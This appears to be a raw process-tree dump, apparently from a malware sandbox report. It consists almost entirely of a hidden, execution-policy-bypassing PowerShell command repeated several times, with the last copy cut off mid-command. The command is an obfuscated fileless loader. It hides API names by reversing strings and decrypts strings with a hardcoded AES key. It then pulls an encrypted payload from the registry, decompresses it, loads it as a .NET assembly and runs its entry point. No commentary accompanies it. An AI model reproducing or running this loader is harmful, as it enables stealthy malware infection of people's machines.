'')('6lRW0jGzlAA5nbkjHf5Tsi2VcY+e72Di8pyST+P3b+zKhEOatzOvsZwWc+tNvaenFYt371ubGqjG2iZNgW2Ruqyxtm0FlLj/6SFCvhVuHBoXGShbkjll0X0J0Yf8IrHI015qKEspAwvJ3BIkY31lE641I57ZA9mkxn3r2dmP9uXIIejGAbUYS/Egydi59SI4nLAn0KYi1PmCbY3T/4H6s6RDYRGM84TonfBl6Shh4V7e77iWS5OK+T93c6MxOusyAlznel1QyGuYsaEpfjJ3pZxnRDqxM+cJ6BV7z8XM6VlKLAriZV3af8+QPmGxYUFSetnhCdNepWVjla/rc+wznH76gqNjdrTdE4sXG2oefxeMo2RVY9GEE56HPY/MHqKXuj9QJ9R71SzOk/Jp6SI/aU6ftBcuLTHGK8ii/LzWWM4=');$BYhfv = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($BYhfv, 0, $BYhfv.Length);$BYhfv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($BYhfv);$Rqbjy = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zLOMq/59oqNcdFMRuju6ng==');$Rqbjy = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Rqbjy, 0, $Rqbjy.Length);$Rqbjy = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($Rqbjy);$KASyv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('72lxeVY82PoJcJ3hbiQEIw==');$KASyv = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($KASyv, 0, $KASyv.Length);$KASyv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($KASyv);$mknYJ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zVB7M6DhuDz9HVN22epYIw==');$mknYJ = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mknYJ, 0, $mknYJ.Length);$mknYJ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mknYJ);$CcpOW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('HUIziUB7x4wdL9DXkS0rtA==');$CcpOW = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($CcpOW, 0, $CcpOW.Length);$CcpOW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($CcpOW);$IVrwI = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sTbvcUvEJoAxsnBrBeUD8g==');$IVrwI = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($IVrwI, 0, $IVrwI.Length);$IVrwI = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($IVrwI);$DEDSw0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Jlr5GUhwRFzfhvwaclrGQg==');$DEDSw0 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw0, 0, $DEDSw0.Length);$DEDSw0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw0);$DEDSw1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('VRv4nf1Tsuy8xOh1GOIbLw==');$DEDSw1 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw1, 0, $DEDSw1.Length);$DEDSw1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw1);$DEDSw2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('qoyKUlYeEofaQd2Nsn4c1Q==');$DEDSw2 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw2, 0, $DEDSw2.Length);$DEDSw2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw2);$DEDSw3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x+L5SCITRwLaIySJMRKPcA==');$DEDSw3 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw3, 0, $DEDSw3.Length);$DEDSw3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw3);$zJtjN.Dispose();$IUziZ1.Dispose();$ZnTbq = [Microsoft.Win32.Registry]::$CcpOW.$mknYJ($DEDSw).$KASyv($jMYEl);$hYcHq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZnTbq);$IUziZ = New-Object System.Security.Cryptography.AesManaged;$IUziZ.Mode = [System.Security.Cryptography.CipherMode]::CBC;$IUziZ.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$IUziZ.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('czejaGDzXhtRk3rRQOwA7CFoM90g5FQgnJ85LaUZQd4=');$IUziZ.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MrEUmw2CRfIwDN4DnujVag==');$VYFAv = $IUziZ.('rotpyrceDetaerC'[-1..-15] -join '')();$hYcHq = $VYFAv.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hYcHq, 0, $hYcHq.Length);$VYFAv.Dispose();$IUziZ.Dispose();$zInKm = New-Object System.IO.MemoryStream(, $hYcHq);$vncyw = New-Object System.IO.MemoryStream;$aIVco = New-Object System.IO.Compression.GZipStream($zInKm, [IO.Compression.CompressionMode]::$DEDSw1);$aIVco.$IVrwI($vncyw);$aIVco.Dispose();$zInKm.Dispose();$vncyw.Dispose();$hYcHq = $vncyw.ToArray();$zxNyE = $BYhfv | IEX;$OwixV = $zxNyE::$DEDSw2($hYcHq);$vhBKp = $OwixV.EntryPoint;$vhBKp.$DEDSw0($null, (, [string[]] ($XVbaw)))

C:\Windows\System32\dllhost.exe

C:\Windows\System32\dllhost.exe /Processid:{b9a4c8b3-c3e3-457a-b6da-66e6732e3a40}

C:\Windows\$sxr-powershell.exe

"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(7200).WaitForExit();[System.Threading.Thread]::Sleep(5000); $IUziZ1 = New-Object System.Security.Cryptography.AesManaged;$IUziZ1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$IUziZ1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$IUziZ1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('czejaGDzXhtRk3rRQOwA7CFoM90g5FQgnJ85LaUZQd4=');$IUziZ1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MrEUmw2CRfIwDN4DnujVag==');$zJtjN = $IUziZ1.('rotpyrceDetaerC'[-1..-15] -join '')();$DEDSw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dNZQ79CdCcT3RZeJIBMeWA==');$DEDSw = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw, 0, $DEDSw.Length);$DEDSw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw);$jMYEl = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ffs1oB2cg9MQou+VEQ8aDXxHbAIu//njEEr4yqOAe8c=');$jMYEl = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jMYEl, 0, $jMYEl.Length);$jMYEl = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jMYEl);$XVbaw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('GvpxgK9ah8YOSS3JRrNuog==');$XVbaw = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XVbaw, 0, $XVbaw.Length);$XVbaw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XVbaw);$BYhfv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6lRW0jGzlAA5nbkjHf5Tsi2VcY+e72Di8pyST+P3b+zKhEOatzOvsZwWc+tNvaenFYt371ubGqjG2iZNgW2Ruqyxtm0FlLj/6SFCvhVuHBoXGShbkjll0X0J0Yf8IrHI015qKEspAwvJ3BIkY31lE641I57ZA9mkxn3r2dmP9uXIIejGAbUYS/Egydi59SI4nLAn0KYi1PmCbY3T/4H6s6RDYRGM84TonfBl6Shh4V7e77iWS5OK+T93c6MxOusyAlznel1QyGuYsaEpfjJ3pZxnRDqxM+cJ6BV7z8XM6VlKLAriZV3af8+QPmGxYUFSetnhCdNepWVjla/rc+wznH76gqNjdrTdE4sXG2oefxeMo2RVY9GEE56HPY/MHqKXuj9QJ9R71SzOk/Jp6SI/aU6ftBcuLTHGK8ii/LzWWM4=');$BYhfv = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($BYhfv, 0, $BYhfv.Length);$BYhfv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($BYhfv);$Rqbjy = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zLOMq/59oqNcdFMRuju6ng==');$Rqbjy = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Rqbjy, 0, $Rqbjy.Length);$Rqbjy = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($Rqbjy);$KASyv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('72lxeVY82PoJcJ3hbiQEIw==');$KASyv = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($KASyv, 0, $KASyv.Length);$KASyv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($KASyv);$mknYJ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zVB7M6DhuDz9HVN22epYIw==');$mknYJ = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mknYJ, 0, $mknYJ.Length);$mknYJ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mknYJ);$CcpOW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('HUIziUB7x4wdL9DXkS0rtA==');$CcpOW = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($CcpOW, 0, $CcpOW.Length);$CcpOW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($CcpOW);$IVrwI = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sTbvcUvEJoAxsnBrBeUD8g==');$IVrwI = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($IVrwI, 0, $IVrwI.Length);$IVrwI = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($IVrwI);$DEDSw0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Jlr5GUhwRFzfhvwaclrGQg==');$DEDSw0 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw0, 0, $DEDSw0.Length);$DEDSw0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw0);$DEDSw1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('VRv4nf1Tsuy8xOh1GOIbLw==');$DEDSw1 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw1, 0, $DEDSw1.Length);$DEDSw1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw1);$DEDSw2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('qoyKUlYeEofaQd2Nsn4c1Q==');$DEDSw2 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw2, 0, $DEDSw2.Length);$DEDSw2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw2);$DEDSw3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x+L5SCITRwLaIySJMRKPcA==');$DEDSw3 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw3, 0, $DEDSw3.Length);$DEDSw3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw3);$zJtjN.Dispose();$IUziZ1.Dispose();$ZnTbq = [Microsoft.Win32.Registry]::$CcpOW.$mknYJ($DEDSw).$KASyv($jMYEl);$hYcHq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZnTbq);$IUziZ = New-Object System.Security.Cryptography.AesManaged;$IUziZ.Mode = [System.Security.Cryptography.CipherMode]::CBC;$IUziZ.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$IUziZ.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('czejaGDzXhtRk3rRQOwA7CFoM90g5FQgnJ85LaUZQd4=');$IUziZ.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MrEUmw2CRfIwDN4DnujVag==');$VYFAv = $IUziZ.('rotpyrceDetaerC'[-1..-15] -join '')();$hYcHq = $VYFAv.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hYcHq, 0, $hYcHq.Length);$VYFAv.Dispose();$IUziZ.Dispose();$zInKm = New-Object System.IO.MemoryStream(, $hYcHq);$vncyw = New-Object System.IO.MemoryStream;$aIVco = New-Object System.IO.Compression.GZipStream($zInKm, [IO.Compression.CompressionMode]::$DEDSw1);$aIVco.$IVrwI($vncyw);$aIVco.Dispose();$zInKm.Dispose();$vncyw.Dispose();$hYcHq = $vncyw.ToArray();$zxNyE = $BYhfv | IEX;$OwixV = $zxNyE::$DEDSw2($hYcHq);$vhBKp = $OwixV.EntryPoint;$vhBKp.$DEDSw0($null, (, [string[]] ($XVbaw)))

C:\Windows\$sxr-powershell.exe

"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(7200).WaitForExit();[System.Threading.Thread]::Sleep(5000); $IUziZ1 = New-Object System.Security.Cryptography.AesManaged;$IUziZ1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$IUziZ1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$IUziZ1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('czejaGDzXhtRk3rRQOwA7CFoM90g5FQgnJ85LaUZQd4=');$IUziZ1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MrEUmw2CRfIwDN4DnujVag==');$zJtjN = $IUziZ1.('rotpyrceDetaerC'[-1..-15] -join '')();$DEDSw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dNZQ79CdCcT3RZeJIBMeWA==');$DEDSw = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw, 0, $DEDSw.Length);$DEDSw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw);$jMYEl = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ffs1oB2cg9MQou+VEQ8aDXxHbAIu//njEEr4yqOAe8c=');$jMYEl = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jMYEl, 0, $jMYEl.Length);$jMYEl = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jMYEl);$XVbaw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('GvpxgK9ah8YOSS3JRrNuog==');$XVbaw = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XVbaw, 0, $XVbaw.Length);$XVbaw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XVbaw);$BYhfv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6lRW0jGzlAA5nbkjHf5Tsi2VcY+e72Di8pyST+P3b+zKhEOatzOvsZwWc+tNvaenFYt371ubGqjG2iZNgW2Ruqyxtm0FlLj/6SFCvhVuHBoXGShbkjll0X0J0Yf8IrHI015qKEspAwvJ3BIkY31lE641I57ZA9mkxn3r2dmP9uXIIejGAbUYS/Egydi59SI4nLAn0KYi1PmCbY3T/4H6s6RDYRGM84TonfBl6Shh4V7e77iWS5OK+T93c6MxOusyAlznel1QyGuYsaEpfjJ3pZxnRDqxM+cJ6BV7z8XM6VlKLAriZV3af8+QPmGxYUFSetnhCdNepWVjla/rc+wznH76gqNjdrTdE4sXG2oefxeMo2RVY9GEE56HPY/MHqKXuj9QJ9R71SzOk/Jp6SI/aU6ftBcuLTHGK8ii/LzWWM4=');$BYhfv = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($BYhfv, 0, $BYhfv.Length);$BYhfv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($BYhfv);$Rqbjy = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zLOMq/59oqNcdFMRuju6ng==');$Rqbjy = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Rqbjy, 0, $Rqbjy.Length);$Rqbjy = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($Rqbjy);$KASyv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('72lxeVY82PoJcJ3hbiQEIw==');$KASyv = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($KASyv, 0, $KASyv.Length);$KASyv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($KASyv);$mknYJ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zVB7M6DhuDz9HVN22epYIw==');$mknYJ = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mknYJ, 0, $mknYJ.Length);$mknYJ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mknYJ);$CcpOW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('HUIziUB7x4wdL9DXkS0rtA==');$CcpOW = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($CcpOW, 0, $CcpOW.Length);$CcpOW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($CcpOW);$IVrwI = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sTbvcUvEJoAxsnBrBeUD8g==');$IVrwI = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($IVrwI, 0, $IVrwI.Length);$IVrwI = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($IVrwI);$DEDSw0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Jlr5GUhwRFzfhvwaclrGQg==');$DEDSw0 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw0, 0, $DEDSw0.Length);$DEDSw0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw0);$DEDSw1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('VRv4nf1Tsuy8xOh1GOIbLw==');$DEDSw1 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw1, 0, $DEDSw1.Length);$DEDSw1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw1);$DEDSw2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('qoyKUlYeEofaQd2Nsn4c1Q==');$DEDSw2 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw2, 0, $DEDSw2.Length);$DEDSw2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw2);$DEDSw3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x+L5SCITRwLaIySJMRKPcA==');$DEDSw3 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw3, 0, $DEDSw3.Length);$DEDSw3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw3);$zJtjN.Dispose();$IUziZ1.Dispose();$ZnTbq = [Microsoft.Win32.Registry]::$CcpOW.$mknYJ($DEDSw).$KASyv($jMYEl);$hYcHq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZnTbq);$IUziZ = New-Object System.Security.Cryptography.AesManaged;$IUziZ.Mode = [System.Security.Cryptography.CipherMode]::CBC;$IUziZ.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$IUziZ.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('czejaGDzXhtRk3rRQOwA7CFoM90g5FQgnJ85LaUZQd4=');$IUziZ.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MrEUmw2CRfIwDN4DnujVag==');$VYFAv = $IUziZ.('rotpyrceDetaerC'[-1..-15] -join '')();$hYcHq = $VYFAv.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hYcHq, 0, $hYcHq.Length);$VYFAv.Dispose();$IUziZ.Dispose();$zInKm = New-Object System.IO.MemoryStream(, $hYcHq);$vncyw = New-Object System.IO.MemoryStream;$aIVco = New-Object System.IO.Compression.GZipStream($zInKm, [IO.Compression.CompressionMode]::$DEDSw1);$aIVco.$IVrwI($vncyw);$aIVco.Dispose();$zInKm.Dispose();$vncyw.Dispose();$hYcHq = $vncyw.ToArray();$zxNyE = $BYhfv | IEX;$OwixV = $zxNyE::$DEDSw2($hYcHq);$vhBKp = $OwixV.EntryPoint;$vhBKp.$DEDSw0($null, (, [string[]] ($XVbaw)))

C:\Windows\$sxr-powershell.exe

"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(7200).WaitForExit();[System.Threading.Thread]::Sleep(5000); $IUziZ1 = New-Object System.Security.Cryptography.AesManaged;$IUziZ1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$IUziZ1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$IUziZ1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('czejaGDzXhtRk3rRQOwA7CFoM90g5FQgnJ85LaUZQd4=');$IUziZ1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MrEUmw2CRfIwDN4DnujVag==');$zJtjN = $IUziZ1.('rotpyrceDetaerC'[-1..-15] -join '')();$DEDSw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dNZQ79CdCcT3RZeJIBMeWA==');$DEDSw = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw, 0, $DEDSw.Length);$DEDSw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw);$jMYEl = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ffs1oB2cg9MQou+VEQ8aDXxHbAIu//njEEr4yqOAe8c=');$jMYEl = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jMYEl, 0, $jMYEl.Length);$jMYEl = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jMYEl);$XVbaw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('GvpxgK9ah8YOSS3JRrNuog==');$XVbaw = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XVbaw, 0, $XVbaw.Length);$XVbaw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XVbaw);$BYhfv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6lRW0jGzlAA5nbkjHf5Tsi2VcY+e72Di8pyST+P3b+zKhEOatzOvsZwWc+tNvaenFYt371ubGqjG2iZNgW2Ruqyxtm0FlLj/6SFCvhVuHBoXGShbkjll0X0J0Yf8IrHI015qKEspAwvJ3BIkY31lE641I57ZA9mkxn3r2dmP9uXIIejGAbUYS/Egydi59SI4nLAn0KYi1PmCbY3T/4H6s6RDYRGM84TonfBl6Shh4V7e77iWS5OK+T93c6MxOusyAlznel1QyGuYsaEpfjJ3pZxnRDqxM+cJ6BV7z8XM6VlKLAriZV3af8+QPmGxYUFSetnhCdNepWVjla/rc+wznH76gqNjdrTdE4sXG2oefxeMo2RVY9GEE56HPY/MHqKXuj9QJ9R71SzOk/Jp6SI/aU6ftBcuLTHGK8ii/LzWWM4=');$BYhfv = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($BYhfv, 0, $BYhfv.Length);$BYhfv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($BYhfv);$Rqbjy = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zLOMq/59oqNcdFMRuju6ng==');$Rqbjy = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Rqbjy, 0, $Rqbjy.Length);$Rqbjy = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($Rqbjy);$KASyv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('72lxeVY82PoJcJ3hbiQEIw==');$KASyv = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($KASyv, 0, $KASyv.Length);$KASyv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($KASyv);$mknYJ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zVB7M6DhuDz9HVN22epYIw==');$mknYJ = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mknYJ, 0, $mknYJ.Length);$mknYJ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mknYJ);$CcpOW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('HUIziUB7x4wdL9DXkS0rtA==');$CcpOW = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($CcpOW, 0, $CcpOW.Length);$CcpOW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($CcpOW);$IVrwI = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sTbvcUvEJoAxsnBrBeUD8g==');$IVrwI = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($IVrwI, 0, $IVrwI.Length);$IVrwI = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($IVrwI);$DEDSw0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Jlr5GUhwRFzfhvwaclrGQg==');$DEDSw0 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw0, 0, $DEDSw0.Length);$DEDSw0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw0);$DEDSw1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('VRv4nf1Tsuy8xOh1GOIbLw==');$DEDSw1 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw1, 0, $DEDSw1.Length);$DEDSw1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw1);$DEDSw2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('qoyKUlYeEofaQd2Nsn4c1Q==');$DEDSw2 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw2, 0, $DEDSw2.Length);$DEDSw2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw2);$DEDSw3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x+L5SCITRwLaIySJMRKPcA==');$DEDSw3 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw3, 0, $DEDSw3.Length);$DEDSw3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw3);$zJtjN.Dispose();$IUziZ1.Dispose();$ZnTbq = [Microsoft.Win32.Registry]::$CcpOW.$mknYJ($DEDSw).$KASyv($jMYEl);$hYcHq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZnTbq);$IUziZ = New-Object System.Security.Cryptography.AesManaged;$IUziZ.Mode = [System.Security.Cryptography.CipherMode]::CBC;$IUziZ.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$IUziZ.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('czejaGDzXhtRk3rRQOwA7CFoM90g5FQgnJ85LaUZQd4=');$IUziZ.IV = 